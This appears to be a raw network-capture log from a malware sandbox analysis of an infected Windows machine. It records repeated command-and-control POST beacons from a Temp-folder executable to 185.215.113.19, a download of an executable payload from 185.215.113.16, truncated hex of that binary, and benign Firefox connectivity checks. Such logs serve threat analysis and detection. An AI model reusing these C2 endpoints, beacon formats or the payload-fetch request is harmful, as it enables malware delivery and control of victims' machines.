Jul 26, 2024 13:49:20.870465994 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:49:21.332696915 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62422 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:49:31.342405081 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:49:41.358752012 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:49:43.444327116 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:49:43.541100025 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62444 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	59037	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:21.103612900 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:21.925391912 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:21.931196928 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:22.200643063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:22.455735922 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	59038	34.107.221.82	80	4512	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:21.784054041 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:49:22.250591040 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75401 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:49:32.267096996 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:49:42.277853012 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:49:47.821465015 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:49:47.919433117 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75426 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	59039	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:22.624411106 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:23.387991905 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:23.447139978 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:23.708312035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	59041	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:23.826652050 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:24.628765106 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:24.629446983 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:24.916477919 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	59046	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:25.130431890 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:25.931201935 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:25.932460070 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:26.187632084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	59047	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:26.313025951 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:27.136177063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:27.137701988 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:27.410733938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	59052	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:27.527815104 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:28.380439043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:28.382710934 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:28.651287079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	59054	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:28.772881985 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:29.551189899 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:29.584243059 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:29.876257896 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	59055	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:29.995706081 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:30.848465919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:30.854732990 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:31.105139017 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	59056	185.215.113.16	80	3152	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:30.185376883 CEST	80	OUT	GET /soka/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Jul 26, 2024 13:49:30.986015081 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:30 GMT Content-Type: application/octet-stream Content-Length: 1878528 Last-Modified: Fri, 26 Jul 2024 11:17:18 GMT Connection: keep-alive ETag: "66a385be-1caa00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 b0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PEL@fJ@Jx@WkJpJ @.rsrc@.idata @ `*@wfabfqoe1@qxvdwaitJ@.taggant0J"@
Jul 26, 2024 13:49:30.986037970 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 26, 2024 13:49:30.986049891 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 26, 2024 13:49:30.987026930 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 26, 2024 13:49:30.987030029 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 26, 2024 13:49:30.987313986 CEST	432	IN	Data Raw: aa 41 64 8f 0d 50 08 da 2b 33 41 d6 6c 5f cc eb 8f 51 a8 de cb b4 52 ee 3e 03 74 62 1d 3b 79 0c 1e ab d3 8c 00 31 38 36 3d bf 35 ee 4f 60 68 c6 8b dc 37 5e a6 ff 63 e0 66 32 34 be 0b fe 61 ee 6c e3 e6 13 04 50 d9 c7 7e a8 67 2b dc eb e7 03 1a fb Data Ascii: AdP+3Al_QR>tb;y186=5O`h7^cf24alP~g+(`l>%nKREpt+GF<1Y{r]jEyJC'`n_lSUXn1D>oKuo5}`7P~g+W/0~i>S#>?3h"$~8*vP\|<%$
Jul 26, 2024 13:49:30.987413883 CEST	1236	IN	Data Raw: 25 63 95 5e 0b c3 3b 26 96 ff d5 33 03 31 b9 ed 5e 63 f5 7b ec b3 ff 6a 0e 40 30 6f 6a a3 d0 0a 95 48 78 85 a4 60 94 ff 3c f2 e6 ff c0 5c b5 e2 0e 6f 74 0c 7a 50 19 de be fb 54 35 0e 7b 64 0a 1d 32 74 0c de 50 75 28 6e d1 77 ee d2 58 6f ef 26 23 Data Ascii: %c^;&31^c{j@0ojHx`<\otzPT5{d2tPu(nwXo&#3m=Np`,73:X${s;P?+mX6o5,wMP;N6>M=l=Fo{m3j@KW#o+#[StrE{5G{mqB6<c;^Q
